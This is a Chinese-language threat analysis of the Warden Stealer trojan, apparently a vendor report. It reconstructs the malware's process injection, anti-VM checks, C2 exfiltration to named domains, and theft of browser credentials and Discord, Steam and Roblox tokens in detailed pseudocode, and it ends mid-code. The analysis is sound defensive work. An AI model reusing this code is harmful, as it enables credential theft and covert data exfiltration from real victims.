概述
近期,瑞星通过自动化沙盒捕获到今年新出现的名为Warden Stealer的窃密木马样本。初始文件byeantlyeuks.exe对内嵌编码数据进行解码和重组,并将还原出的载荷注入explorer.exe执行。后续模块build.dll的功能包含主机环境检测、浏览器及Discord、Steam、Roblox等应用数据采集,并包含剪贴板钱包地址替换、屏幕截图、进程内存读取及二阶段载荷下载执行等功能。样本通过WinHTTP与候选C2域名通信,上报数据经序列化、异或处理和LZNT1压缩。
攻击流程

样本分析
初始样本分析
| 字段 | 内容 |
|---|---|
| 文件名 | byeantlyeuks.exe |
| 文件大小 | 551 KB (564736 bytes) |
| 文件MD5 | C6BB7C751E64FC9B8E755D56102CF946 |
| 病毒名 | Trojan.ShellCodeRunner/x64!1.149AA |
| 文件类型 | EXE |
| 主要功能 | 解密载荷注入系统进程explorer.exe |
初始样本为 WindowsEXE可执行文件。其.rdata区域包含约39万字符的编码数据;样本使用字母表偏移量为+9的Base64变体对其解码,再进行去稀疏与字节重组,恢复出PE载荷。随后,样本通过任务栏窗口类Shell_TrayWnd定位其所属的explorer.exe进程,调用WriteProcessMemory写入载荷,并通过CreateRemoteThread将执行流转交给载荷入口。
#define ENC_BLOB_RVA 0x1C4A0 // 主编码块(393,688 字符, .rdata)
#define ENC_BLOB_LEN 0x601D8
#define PE_TMPL_RVA 0x1C40C // PE 头字段模板
#define STD_ALPHA_RVA 0x1C268 // 明文标准字母表
#define IMG_SIZE 0x6AE00 // 载荷 SizeOfImage
#define IMG_RAW 0x6B36A // WPM 写出长度
#define EP_RVA 0x46D40 // 载荷入口
#define SLOT(n) (*(PVOID*)(IMAGE_BASE + (n))) // .data 槽位
// "Base64-URL +9 (mod 64)" 旋转字母表解码
buffer_t* DecodeB64Rot9(const char *src, size_t n)
{
buffer_t *out = Alloc(n/4*3 + 1);
uint8_t t[256];
for (int v = 0; v < 64; v++)
t[ StdAlpha[v] ] = (uint8_t)((v + 9) & 63); // ★ 全表 +9 旋转: 'A'→9 'Z'→34 'a'→35 'z'→60 '0'→61 '9'→6 '3'→0 '_'→8
const uint64_t RSI = 0x1733B719946466B5;
const uint64_t R12 = 0xE8CC48E66B9B990D;
const uint8_t PAD = (uint8_t)~(uint32_t)(RSI + R12);
uint32_t acc = 0; int bits = 0;
for (size_t i = 0; i < n; i++) {
uint8_t c = src[i];
if (c == PAD) break;
acc = (acc << 6) | t[c];
bits += 6;
while (bits >= 8) {
EmitByte(out, (acc >> (bits - 8)) & 0xFF);
bits -= 8;
}
}
return out;
}
// 去稀疏 / 字节重组
buffer_t* Desparse(buffer_t *l1)
{
uint32_t cap = *(uint32_t*)l1->data;
buffer_t *out = Alloc(cap);
const uint8_t *in = l1->data + 4;
for (size_t i = 0, o = 0; i < 0x48160; ) {
uint8_t b = in[i];
if (b == 0x00 && IsInsertedZero(in, i)) { i++; continue; }
if (InDisplacedRun(in, i))
o = EmitRelocated(out, in, i, o);
else
out->data[o++] = b, i++;
}
return out;
}
// PE 映像装配
PVOID AssembleImage(buffer_t *l2)
{
PVOID img = Alloc(IMG_SIZE);
memcpy(img, l2->data, l2->len);
BYTE *p = (BYTE*)img;
p[0] = 'M'; p[1] = 'Z';
WORD lfa = *(WORD*)(p + 0x3C);
*(WORD*)(p + lfa) = 0x4550;
for (int off = 8; off < 0x80; off += 8)
memcpy(p + off, (BYTE*)(IMAGE_BASE + PE_TMPL_RVA) + (off - 8), 8); //按照模板表完善PE文件
return img;
}
// 注入 : 目标 = Shell_TrayWnd 属主 = explorer.exe
void Inject(void)
{
HWND hw = pFindWindowA("Shell_TrayWnd", NULL);
DWORD pid = 0;
pGetWindowThreadProcessId(hw, &pid);
HANDLE h = pOpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
PVOID r = pVirtualAllocEx(h, NULL, IMG_SIZE, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
PVOID img = AssembleImage(Desparse(DecodeB64Rot9((char*)(IMAGE_BASE + ENC_BLOB_RVA), ENC_BLOB_LEN)));
pWriteProcessMemory(h, r, img, IMG_RAW, NULL);
pCreateRemoteThread(h, NULL, 0,
(LPTHREAD_START_ROUTINE)((BYTE*)r + EP_RVA), NULL, 0, NULL); // 执行手工映射PE文件调用载荷的DllMain
}
初始样本中需要解码的编码数据:

build.dll分析
| 字段 | 内容 |
|---|---|
| 原始文件名 | build.dll |
| 文件大小 | 419 KB |
| 文件MD5 | 9FB6AAB11A0B56291E86560E880EF9BC |
| 文件类型 | DLL |
| 病毒名 | Stealer.Warden/x64!1.149BA |
| 主要功能 | 检测运行环境,窃取用户信息进行回传 |
初始样本创建的远程线程首先执行后续shellcode,该shellcode在目标进程中对手工映射的模块进行登记,并调用初始化函数,最终将控制权交给DllMain。
shellcode的执行流程:
void Stub_RegisterFakeModule() {
PEB *peb = RtlGetCurrentPeb();
PVOID lock = peb->LoaderLock; // +0x110
PEB_LDR_DATA *ldr = peb->Ldr; // +0x18
// 1) 手工将伪造 LDR_DATA_TABLE_ENTRY(0x8C9AE00) 链入两条真实模块链表尾部
InsertTailList(&ldr->InLoadOrderModuleList, &fake->InLoadOrderLinks);
InsertTailList(&ldr->InMemoryOrderModuleList, &fake->InMemoryOrderLinks);
// 2) 持 LoaderLock 调用 ntdll 内部登记函数,让加载器正式"认识"该伪模块
RtlEnterCriticalSection(lock);
LdrpInsertModule_intern(fake); // → STATUS_SUCCESS
RtlLeaveCriticalSection(lock);
// 3) 依序执行镜像自带的初始化函数表(fn(DllBase, DLL_PROCESS_ATTACH))
for (p = table[4]; p; p++) if (*p) (*p)(0x8C30000, 1);
// 4) 以 DllMain 语义移交控制权到伪模块入口
DllMain(0x8C30000, DLL_PROCESS_ATTACH, NULL); // call 0x8C76D40 ← 停止边界
}
字符串/API解密
样本使用统一的字符串和API解密函数 DecryptStringBlob ,采用种子化URL-safe Base64解码与位流LZ解压的两阶段处理方式。API 名称、凭据相关键名、虚拟化检测字符串及下载模板等内容均通过该函数还原。
/* 字符串解密函数DecryptStringBlob */
void DecryptStringBlob(RustStr* out, const uint8_t* data, size_t len, uint8_t seed)
{
uint8_t tab[256] = {0};
for (int i = 0; i < 64; i++)
tab["A-Za-z0-9-_"[i]] = (i - seed) & 0x3F; /* 种子化移位字母表;*/
uint8_t* dec = malloc(len * 3 / 4 + 1); size_t dlen = 0;
uint32_t acc = 0; int nb = 0;
for (size_t i = 0; i < len && data[i] != '='; i++) { /* 变体 base64,'=' 截断 */
acc = (acc << 6) | tab[data[i]]; nb += 6;
while (nb >= 8) { nb -= 8; dec[dlen++] = acc >> nb; acc &= (1u << nb) - 1; }
}
if (dlen < 4) __ud2();
uint32_t n = *(uint32_t*)dec; /* 明文长度(LE32) */
uint8_t* r = malloc(n); size_t olen = 0, i = 4;
while (i < dlen && olen < n) { /* 位流 LZSS */
uint8_t ctrl = dec[i++];
for (int b = 0; b < 8 && olen < n; b++) {
if (!(ctrl & (1u << b))) r[olen++] = dec[i++]; /* 字面 */
else {
uint8_t b0 = dec[i], b1 = dec[i+1]; i += 2;
unsigned cnt = (b0 >> 4) + 3, dist = (((b0 & 0xF) << 8) | b1) + 1;
for (unsigned k = 0; k < cnt && olen < n; k++) r[olen] = r[olen - dist], olen++;
}
}
}
out->len = olen; out->cap = n; out->ptr = r; /* 明文常带尾部 '\0' */
free(dec);
}
主机环境检测
样本调用 GetSystemFirmwareTable('RSMB') 获取原始 SMBIOS 表,并尝试统计其中 Type 7 结构的数量。当表获取失败、结构遍历异常或未发现 Type 7 结构时,程序可能提前退出;若检测通过,则继续进入后续CPU与虚拟化环境检查。
//固件表反虚拟机判定
DWORD type7 = 0;
DWORD need = GetSystemFirmwareTable('RSMB', 0, NULL, 0); // 先问原始SMBIOS表所需长度
if (need == 0) {
exit(); // 长度查询失败 → 直接退出
}
void *buf = alloc(need);
DWORD got = GetSystemFirmwareTable('RSMB', 0, buf, need); //第二次:真正取表
if (need < 9 || got == 0) {
free(buf);
exit(); // 取不到表 → 直接退出
}
// ---- 遍历原始 SMBIOS 结构表(结构区从 buf+8 开始,前 8 字节为前缀)----
DWORD end = need - 8;
for (DWORD off = 0; end >= off + 4; ) {
BYTE type = buf[off + 8];
BYTE length = buf[off + 9];
if (type == 0x7F) break;
off += length;
if (off > end) break;
type7 += (type == 7);
goto anti_vm_gate; //缓存信息验证完毕-->走CPU检测
}
free(buf);
if (type7 == 0)
exit();; //缓存信息验证失败直接退出
样本利用 CPUID(0) 返回的CPU 厂商字符串、CPUID(0x40000000) 返回的hypervisor相关信息、最大hypervisor 叶值、CPUID(0x80000002–0x80000004) 返回的处理器品牌字符串,以及 CPUID(1) 的特征位进行环境判断。命中相关虚拟化分支后,程序会进一步查询注册表值并生成相应指纹;进入另一分支时,则会采集卷序列号等主机特征。
/* 反虚拟机主判定 */
void anti_vm_check(void)
{
uint32_t cpu_vendor[3], hv_sig[3];
char brand[48] = {0};
/* CPUID(0): CPU 厂商串*/
cpuid_get(0, cpu_vendor);
build_anti_vm_key_table(cpu_vendor); // 构造 31 条反虚拟机注册表/API/路径键
/* CPUID(40000000H): hypervisor 厂商签名 */
cpuid_get(0x40000000, hv_sig);
uint32_t d0 = hv_sig[0];
uint32_t d2 = hv_sig[2];
if ((d0 | d2) != 0)
goto VM_DETECTED; // 虚拟机
else
goto BARE_METAL; // 物理机
VM_DETECTED: /* ---- 虚拟机命中分支 */
build_anti_vm_key_table();
key = decrypt_string("J0EEEEFPdbpmf6J2dEEkXKJ9f7Z4bEFUgqZwf6JolyiiiijN", 0x28);
if (RegOpenKeyExW(hRoot, key, 0, KEY_READ /*0x20019*/, &hKey) != ERROR_SUCCESS)
goto OTHER_PATH;
val = RegQueryValueExW_typed(hKey, value_name);
if (val.type == 0)
fp_num = hex_str_to_u64(val.data);
return;
BARE_METAL: /* ---- 非虚拟机分支*/
ResolveApi("kernel32.dll", "GetVolumeInformationW");
volume_serial = GetVolumeInformationW(...); /* 卷序列号指纹 */
cpuid_get(0x40000000, hv_sig);
if (hv_sig[0] >= 0x40000100) goto HYPERVISOR_BIG_LEAF;
else goto NORMAL_PATH;
NORMAL_PATH:
/* ④ CPUID(80000000H): 最大扩展叶, 需 >= 0x80000004 才支持处理器品牌串 */
cpuid_get(0x80000000, hv_sig);
if (hv_sig[0] < 0x80000004)
brand = NULL;
else
for (uint32_t leaf = 0x80000002, off = 0; leaf <= 0x80000004; leaf++, off += 16)
cpuid_get(leaf, (uint32_t*)&brand[off]);
cpuid_get(1, feature);
fingerprint = hash(cpu_vendor, brand, volume_serial, feature, /*…*/);
}
下表整理了从样本中还原出的虚拟化相关签名,以及显示设备、注册表、API、模块和服务相关字符串。列表如下:
| # | 明文 | 说明 |
|---|---|---|
| 1 | VMwareVMware |
VMware |
| 2 | VBoxVBoxVBox |
VirtualBox |
| 3 | XenVMMXenVMM |
Xen |
| 4 | TCGTCGTCGTCG |
QEMU TCG |
| 5 | LKVMLKVMLKVM |
KVM |
| 6 | SRESRESRESRE |
变体签名 |
| 7 | EVMMEVMMEVMM |
变体签名 |
| 8 | ACRNACRNACRN |
ACRN |
| 9 | BHyVE BHyVE |
bhyve |
| 10 | bhyve bhyve |
bhyve |
| 11 | prl hyperv |
Parallels |
| 12 | lrpepyh vr |
Parallels |
| 13 | ___ NVMM ___ |
NetBSD NVMM |
| 14 | Barevisor! |
Barevisor |
| 15 | Jailhouse |
Jailhouse |
| 16 | MiniVisor |
MiniVisor |
| 17 | HAXMHAXMHAXM |
Intel HAXM |
| 18 | ConnectixCPU |
Connectix Virtual PC |
| 19 | OpenBSDVMM58 |
OpenBSD VMM |
| 20 | Insignia 586 |
Insignia |
| 21 | Neko Project |
Neko Project |
| 22 | Compaq FX!32 |
Compaq FX!32 |
| 23 | UnisysSpar64 |
Unisys |
| 24 | Linux KVM Hv |
Hyper-V/KVM |
| 25 | IntelTDX |
Intel TDX |
| 26 | NoirVisor ZT |
NoirVisor |
| 27 | QNXQVMBSQG |
QNX/VMBSQ |
| 28 | Standard VGA |
虚拟显示适配器名 |
| 29 | Basic Display |
虚拟显示适配器名 |
| 30 | DisplayVersion |
注册表值名 |
| 30a | DisplayName |
注册表值名 |
| 30b | SystemComponent |
注册表值名 |
| 30c | UninstallString |
注册表值名 |
| 31 | RegQueryValueExW |
注册表读取 API 名 |
| 31a | advapi32 |
模块名 |
| 31b | ncalrpc |
ALPC 端点名 |
| 31c | DNSResolver |
服务/模块痕迹 |
| 31d | Keyboard Layout\Preload |
注册表 |
设备指纹计算
除用于环境判断的CPU信息外,样本还查询卷序列号、键盘布局、显示适配器名称、已安装软件列表及区域信息。机器指纹的SHA-256输入包含 CPUID(1) 部分寄存器值的十六进制表示、卷序列号的十六进制表示及显示适配器名称,最终生成 32 字节摘要.
// 机器指纹采集
void collect_machine_fingerprint_and_hash(RustStr *out)
{
DWORD vol_serial = 0;
UINT32 feat[4];
WCHAR locale[0x55];
DISPLAY_DEVICEW dd = {0};
BCRYPT_ALG_HANDLE hAlg = NULL, hHash = NULL;
BYTE digest[32];
char hex[17];
/*卷序列号*/
fnGetVolumeInformationW =
ResolveApi_Cached("kernel32", "GetVolumeInformationW");
fnGetVolumeInformationW(L"C:\\", NULL, 0, &vol_serial,
NULL, NULL, NULL, 0);
/* 键盘布局:HKCU\Keyboard Layout\Preload */
if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Keyboard Layout\\Preload",
0, KEY_READ, &hk) == ERROR_SUCCESS) {
for (DWORD i = 1; ; i++) {
WCHAR nm[16]; DWORD type = 0, cb = sizeof(buf); BYTE buf[256];
swprintf(nm, L"%lu", i);
if (RegQueryValueExW(hk, nm, NULL, &type, buf, &cb) != ERROR_SUCCESS)
break;
}
RegCloseKey(hk);
}
/* 显示适配器*/
for (UINT i = 0; ; i++) {
memset(&dd, 0, sizeof(dd)); dd.cb = sizeof(dd);
if (!EnumDisplayDevicesW(NULL, i, &dd, 0)) break;
}
/* Uninstall 子键枚举 */
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE,
L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall",
0, KEY_READ, &hkUn) == ERROR_SUCCESS) {
for (DWORD idx = 0; ; idx++) {
WCHAR sub[256]; DWORD clen = 256;
if (RegEnumKeyExW(hkUn, idx, sub, &clen,
NULL, NULL, NULL, NULL) != ERROR_SUCCESS)
break; }
RegCloseKey(hkUn);
}
/* 区域 */
fnGetUserDefaultLocaleName(locale, 0x55);
/*SHA-256 汇总:只吃 3 段、且都是文本形式 */
BCryptOpenAlgorithmProvider(&hAlg, L"SHA256", NULL, 0);
BCryptCreateHash(hAlg, &hHash, NULL, 0, NULL, 0);
cpuid(1, feat);
snprintf(hex, 17, "%08X%08X", feat[EDX], feat[EAX]);
BCryptHashData(hHash, hex, 16, 0);
snprintf(hex, 17, "%08X", vol_serial);
BCryptHashData(hHash, hex, 8, 0);
BCryptHashData(hHash, dd.DeviceString,wcslen(dd.DeviceString), 0);
BCryptFinishHash(hHash, digest, 32, 0);
BCryptDestroyHash(hHash); BCryptCloseAlgorithmProvider(hAlg, 0);
out = make_rust_string(digest, 32);
}
样本将采集结果按“8 字节长度前缀 + 原始数据”的形式序列化,再调用 RtlCompressBuffer 使用 LZNT1 算法压缩,以减少待发送数据的体积。
/* 序列化 + 压缩 */
void* pack_collection(collection_t* c, size_t* out_len)
{
size = 8;
for (e in c->items) size += e.len1 + e.len2 + 0x10; /* 先算总长 */
buf = malloc(size); p = buf + 8;
for (e in c->items) {
*(uint64_t*)p = e.len1; p += 8; memcpy(p, e.p1, e.len1); p += e.len1;
*(uint64_t*)p = e.len2; p += 8; memcpy(p, e.p2, e.len2); p += e.len2;
}
*(uint64_t*)buf = p - buf; /* 8 字节长度前缀 */
return RtlCompressBuffer(&p, &p_len, buf, buf_len); /* LZNT1 压缩 */
}
与C2通信
样本通过字符串解密器还原 winhttp.dll 及相关 WinHTTP API 名称,并按模块与哈希等信息缓存函数指针。该方式减少了相关 API 名称在静态导入表中的直接暴露。
/* WinHttp API 解析 */
void resolve_winhttp_api_set(WinHttpApi* api)
{
RustStr mod, fn;
DecryptStringBlob(&mod, lit_0x20489E2CD10, 0x20, 0xBB); /* "winhttp.dll" */
api->CloseHandle = ResolveApi_Cached(0xE64C5DBB, mod.ptr, ..., decrypt("WinHttpCloseHandle", 0xE64C5DBB));
api->ReadData = ResolveApi_Cached(0xE64C5DBB, mod.ptr, ..., decrypt("WinHttpReadData", 0xE64C5DBB));
api->QueryDataAvailable = ResolveApi_Cached(0xE64C5DBB, mod.ptr, ..., decrypt("WinHttpQueryDataAvailable",0xE64C5DBB));
api->Connect = ResolveApi_Cached(0xE64C5DBB, mod.ptr, ..., decrypt("WinHttpConnect", 0xE64C5DBB));
api->ReceiveResponse = ResolveApi_Cached(0xE64C5DBB, mod.ptr, ..., decrypt("WinHttpReceiveResponse", 0xE64C5DBB));
api->OpenRequest = ResolveApi_Cached(0xE64C5DBB, mod.ptr, ..., decrypt("WinHttpOpenRequest", 0xE64C5DBB));
api->WriteData = ResolveApi_Cached(0xE64C5DBB, mod.ptr, ..., decrypt("WinHttpWriteData", 0xE64C5DBB));
api->SendRequest = ResolveApi_Cached(0xE64C5DBB, mod.ptr, ..., decrypt("WinHttpSendRequest", 0xE64C5DBB));
api->QueryHeaders = ResolveApi_Cached(0xE64C5DBB, mod.ptr, ..., decrypt("WinHttpQueryHeaders", 0xE64C5DBB));
api->Open = ResolveApi_Cached(0xE64C5DBB, mod.ptr, ..., decrypt("WinHttpOpen", 0xE64C5DBB));
}
C2主机名通过独立于通用字符串解密器的单字节XOR条目表保存。样本逐字节异或还原主机名,再转换为UTF-16字符串传递给WinHTTP。C2的候选主机名为 systemformating.rest 和 notguilty.info。
/* C2 域名表,条目循环上限 0x30 ⇒ 共 2 条 */
typedef struct { uint8_t key; const uint8_t* enc; size_t len; } C2Ent;
static const C2Ent g_c2[] = {
{ 0x2F, (void*)0x20489E2DF55, 0x14 }, /* → "systemformating.rest"(19 字符) */
{ 0xB7, (void*)0x20489E2D8AF, 0x0E }, /* → "notguilty.info" (14 字符) */
};
/* XOR 解码循环 */
char* decode_c2_host(const C2Ent* e)
{
if (!e->len) return NULL; /* 空条目跳过 */
char* dst = malloc(e->len + 1);
for (size_t i = 0; i < e->len; i++)
dst[i] = (char)(e->enc[i] ^ e->key);
dst[e->len] = 0;
return dst;
}
上报数据的构建流程为:采集结果序列化、按 build 相关字节执行XOR、使用LZNT1压缩,最后添加帧头。帧头包含 4 字节的未压缩长度和 16 字节的 build marker;生成后的数据会被缓存,并在后续通信轮次中重复使用。
/* 帧体构建 */
void* build_frame(collection_t* c, size_t* out_len)
{
void* ser; size_t ser_len;
SerializeCollection_U64LenPrefixed(&ser, &ser_len, c);
for (size_t i = 0; i < ser_len; i++)
((uint8_t*)ser)[i] ^= g_build_byte; /* build 专属字节 XOR */
void* cmp; size_t cmp_len;
AssembleBuf_and_RtlCompressBuffer(&cmp, &cmp_len, ser, ser_len); /* RtlCompressBuffer */
uint8_t* frame = malloc(4 + 16 + cmp_len);
*(uint32_t*)frame = (uint32_t)ser_len;
memcpy(frame + 4, g_build_marker, 16);
memcpy(frame + 20, cmp, cmp_len);
*out_len = 4 + 16 + cmp_len;
return frame; /* ★ 只构建一次,各轮字面相同 */
}
单轮通信逻辑使用异步、未配置代理的 WinHTTP 会话连接候选主机的443端口,向根路径POST /发送上报数据,再读取服务端响应。发送帧长度约为 1199 字节,响应内容为 error code: 521,未获得有效动态配置。
/* 单次心跳 调用 WinHttp_Client_HttpFlow */
int c2_round(WinHttpApi* api, const void* body, size_t body_len)
{
wchar_t host_w[64]; uint16_t port = 443; /* 实测 r9w = 01BBh */
char* host = decode_c2_host(g_c2_cur); /* C2 的 XOR 解码 */
utf8_to_utf16(host_w, host, strlen(host));
hS = api->Open(NULL, WINHTTP_ACCESS_TYPE_NO_PROXY, NULL, NULL, WINHTTP_FLAG_ASYNC);
if (!hS) return -1;
hC = api->Connect(hS, host_w, port, 0); /* systemformating.rest:443 */
if (!hC) { api->CloseHandle(hS); return -2; }
hR = api->OpenRequest(hC, L"POST", L"/", NULL, NULL, 0); /* POST / */
api->SendRequest(hR, NULL, 0, NULL, 0, (DWORD)body_len, 0);
DWORD written = 0;
api->WriteData(hR, body, (DWORD)body_len, &written); /* 数据是1199 字节 */
api->ReceiveResponse(hR, NULL);
char rx[0x10000]; DWORD avail = 0, got = 0, total = 0;
while (api->QueryDataAvailable(hR, &avail) && avail && total < sizeof(rx)) {
api->ReadData(hR, rx + total, avail, &got);
total += got;
}
/* 响应 = "error code: 521\n" ⇒ 服务器不可用,无有效配置 */
BOOL ok = (total > 0) && !is_http_error_text(rx, total);
api->CloseHandle(hC); api->CloseHandle(hR); api->CloseHandle(hS);
if (!ok) return -3;
parse_dynamic_config(rx, total); /* 读取配置文件-->采集规则/钱包地址/下载 URL */
return 0;
}
通信主循环包含候选主机轮换与失败重试逻辑:当前主机请求失败后尝试后续条目,到达循环边界后休眠约 4 秒并重新开始。在通信成功并取得配置后,样本会进入批量数据上传流程。
/* 心跳主循环 */
void c2_loop(WinHttpApi* api)
{
const char* body; size_t body_len;
body = build_frame(collect_fingerprint(), &body_len);
size_t idx = 0;
for (;;) {
if (idx >= sizeof(g_c2)) {
RustThreadSleep_HighRes(4, 0);
idx = 0;
}
g_c2_cur = entry_at(idx);
if (c2_round(api, body, body_len) == 0) {
upload_stolen_data_in_batches(api); /* 拿到配置后按采集规则批量外传 */
idx = 0;
} else {
idx += 0x18; /* 失败 → 换下一个域名 */
}
}
}
分析方法说明:本次分析未获得有效的C2动态配置,因此以下浏览器、应用及其他窃密功能,是结合逆向工程工具与大模型辅助语义分析,对注入载荷伪代码进行逻辑还原所得。
浏览器数据采集
样本封装了统一的DPAPI解密入口,供后续浏览器和应用数据处理逻辑调用,以尝试解密受 Windows 数据保护机制保护的数据。
/* DPAPI解密入口 */
BOOL dpapi_unprotect(const DATA_BLOB* in, DATA_BLOB* out)
{
fn = ResolveApi_Cached(0x549D5230, "crypt32.dll", ..., "CryptUnprotectData");
lf = ResolveApi_Cached(0x9CC54D4B, "kernel32.dll", ..., "LocalFree");
BOOL ok = fn(in, NULL, out, NULL, 0, NULL);
if (ok) lf(out->pbData);
return ok;
}
浏览器数据采集逻辑由C2配置驱动的任务线程调度,主要覆盖Chromium系浏览器、Gecko(Firefox)及浏览器扩展。相关代码尝试读取 Local State 中的密钥字段,通过 CryptUnprotectData 等接口处理受保护的密钥,再使用CNG AES-GCM等方式处理部分浏览器密文。被检查的数据文件包括 Login Data、Login Data For Account、History、Local Storage\leveldb、Preferences、cookies.sqlite、formhistory.sqlite、autofill-profiles.json、storage/default,以及 manifest.json、extensions.json 和 Local Extension Settings 等。伪代码显示,解析结果会被归集到多个 HashMap 并序列化,供后续通信模块处理。
/* 浏览器凭据采集链(Chromium 系 + Gecko 系 + 扩展) */
/* ── 0. 通用基础设施 ──────────────────────────────────────────────────── */
RustStr read_file_retry(RustStr path)
{ /
for (i = 0; i < 3; i++) { /* 浏览器库常被占用 → 3 次重试 */
h = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ|WRITE|DELETE, OPEN_EXISTING);
if (h == INVALID) { if (GetLastError() == SHARING_VIOLATION) continue; return NULL; }
size = GetFileSizeEx(h); buf = alloc(size);
ReadFile(h, buf, size, &got); CloseHandle(h);
return { buf, got };
}
return NULL;
}
RustStr dpapi_unprotect(RustStr blob)
{
fn = ResolveApi_Cached("crypt32", "CryptUnprotectData");
fl = ResolveApi_Cached("kernel32", "LocalFree");
ok = fn(&blob, NULL, &out, NULL, 0, NULL);
if (ok) fl(out.pbData);
return ok ? out : NULL;
}
/* ── 1. AES 主密钥解析(Chromium 系) */
RustStr chromium_master_key(RustStr profile_dir)
{
local_state = read_file_retry(profile_dir + "\\Local State"); /* "Local State" ,*/
k = json_str(local_state, "dpapi_encryption_key");
if (!k) k = json_str(local_state, "encrypted_key");
if (!k) k = json_str(local_state, "app_bound_encrypted_key");
raw = base64_decode(k);
if (raw[0..4] == "DPAPI") raw += 5;
key = dpapi_unprotect(raw);
return key;
}
/* ── 2. 密文解密:AES-GCM (CNG/BCrypt) */
RustStr chrome_blob_decrypt(RustStr enc, RustStr key)
{
/* API 解析 */
BCryptOpenAlgorithmProvider(&hAlg, L"AES", NULL, 0);
BCryptSetProperty(hAlg, L"ChainingMode", L"GCM", ...);
BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, key, key.len, 0);
if (enc[0..3] == "v10" || enc[0..3] == "v11") {
nonce = enc[3..15]; ct = enc[15..len-16]; tag = enc[len-16..];
BCryptDecrypt(hKey, ct, nonce, tag, &plain, BCRYPT_AUTHENTICATED_MODE); /* BCryptDecrypt 解析 */
} else {
plain = aes_cbc_decrypt(key, enc, iv = enc[3..19]);
}
BCryptDestroyKey(hKey); BCryptCloseAlgorithmProvider(hAlg, 0);
return plain;
}
/* ── 3. Chromium 主采集器 */
Collection chromium_collect(RustStr *profile_dir /*a1*/, Collection *out /*a2*/,
Scratch *sc /*a3*/, RustStr *names /*a4*/, size_t n /*a5*/)
{
JumpSlotInit_Once();
key = chromium_master_key(profile_dir);
files[] = { "Local State", "Login Data", "Login Data For Account",
"logins" / "logins_alt", "History",
"Local Storage\\leveldb", "Local Storage/leveldb",
"Preferences" };
for (i = 0; i < 5; i++) blob[i] = read_file_retry(join(profile_dir, files[i]));
/* SQLite 记录迭代:origin_url / username_value / password_value */
for (row in sqlite_rows(blob_login_data, "logins")) {
pw = row.password_value;
if (pw.prefix_is_v10()) pw = chrome_blob_decrypt(pw, key);
RustHashMap_insert(&table[i], row.origin_url + ":" + row.username_value, pw);
RustString_from_hashmap_triple(...);
}
/* 历史/收藏:url、title、last_visit_time;LocalStorage\leveldb:键值对;Preferences:设置项 */
RustStableSort_wrapper(&out->items);
SerializeCollection_U64LenPrefixed(out, &table_a);
SerializeCollection_U64LenPrefixed(out, &table_b);
}
/* ── 4. Chromium/Edge 扩展采集 */
void chrome_extensions(RustStr profile_dir, Collection *out)
{
for (ext in readdir(profile_dir + "\\Extensions")) {
man = read_file_retry(ext + "\\manifest.json");
m = json_parse(man);
name = m["name"]; ver = m["version"];
ls = read_file_retry(profile_dir + "\\Local Extension Settings\\" + ext_id);
RustHashMap_insert(&table, name, ver + "|" + ls);
}
for (id in read_file(profile_dir + "\\Local State").json("extensions.webextensions.uuids"))
RustHashMap_insert(&map, id, uuid);
SerializeCollection_U64LenPrefixed(out, &table);
}
/* ── 5. Firefox(Gecko) 采集器*/
void firefox_collect(RustStr profile_dir, Collection *out)
{
for (prof in readdir("%APPDATA%\\Mozilla\\Firefox\\Profiles")) {
logins = read_file_retry(prof + "\\logins.json");
cookies = read_file_retry(prof + "\\cookies.sqlite");
formhist = read_file_retry(prof + "\\formhistory.sqlite");
autofill = read_file_retry(prof + "\\autofill-profiles.json");
prefs = read_file_retry(prof + "\\prefs.js");
storage = readdir(prof + "\\storage\\default");
k = json_str(logins, "encryption_key");
if (k) k = dpapi_unprotect(base64_decode(k));
for (L in json_parse(logins).logins) {
u = firefox_aes_decrypt(L.encryptedUsername, k);
p = firefox_aes_decrypt(L.encryptedPassword, k);
RustHashMap_insert(&t_login, L.hostname, u + ":" + p);
}
for (row in sqlite_rows(cookies, "moz_cookies")) RustHashMap_insert(&t_cookie, row.host, row.name + "=" + row.value);
for (row in sqlite_rows(formhist, "moz_formhistory")) RustHashMap_insert(&t_form, row.fieldname, row.value);
for (f in readdir(storage)) RustHashMap_insert(&t_ls, f.name, read_file_retry(f));
RustHashMap_insert(&t_pref, "prefs.js", prefs);
SerializeCollection_U64LenPrefixed(out, &t_login);
SerializeCollection_U64LenPrefixed(out, &t_cookie);
SerializeCollection_U64LenPrefixed(out, &t_form);
SerializeCollection_U64LenPrefixed(out, &t_ls);
}
}
/* ── 6. Firefox profile / 扩展扫描 */
void firefox_profiles_and_ext(RustStr root, Collection *out)
{
reg = GlobalStrFromRegistry_or_None(...); /* 从注册表取 Firefox 安装/配置路径 */
for (prof in readdir(root)) {
ext = read_file_retry(prof + "\\extensions.json");
for (e in json_parse(ext)) RustHashMap_insert(&t_ext, e.id, e.name + e.version);
for (f in readdir(prof + "\\storage"))
if (Bytes_contains_needle_Memmem(read_file_retry(f), TOKEN_PATTERNS)) /* Memmem 搜索 */
RustHashMap_insert(&t_hit, f.name, matched_token);
if (encrypted_key_blob) sub_20489DE2040(&map, encrypted_key_blob);
RustString_drop_in_place(...);
}
SerializeCollection_U64LenPrefixed(out, &t_ext);
}
/* ── 7. 编排 / 打包外发 */
void browser_task_thread(void *ctx)
{
base_appdata = getenv_utf16("APPDATA");
base_localapp = getenv_utf16("LOCALAPPDATA");
for (dir in {base_localapp + "\\Google\\Chrome\\User Data",
base_localapp + "\\Microsoft\\Edge\\User Data",
base_localapp + "\\BraveSoftware\\Brave-Browser\\User Data"}) {
for (prof in {"Default", "Profile 1..N"}) {
key = dpapi_unprotect(chromium_master_key_encrypted(dir, prof));
coll = chromium_collect(dir + "\\" + prof, ...);
append(out, coll);
}
}
}
应用数据采集
应用数据采集逻辑使用文件及注册表等描述符定位目标数据,涉及Discord token、Steam路径及ConnectCache等登录相关数据,以及Roblox Cookie和 LocalStorage。
/* 多应用凭据 */
void steal_multi_app(void)
{
appdata = getenv_utf16("APPDATA");
localapp = getenv_utf16("LOCALAPPDATA"); /
collect_tokens(join(appdata, "discord"), "dQw4w9WgXcQ:");
steam = reg_read("Software\\Valve\\Steam", "SteamPath");
collect_file(join(steam, "config\\local.vdf"));
collect_file(join(steam, "config\\ConnectCache"));
collect_file("MachineUserConfigStore");
collect_file("RobloxCookies.dat");
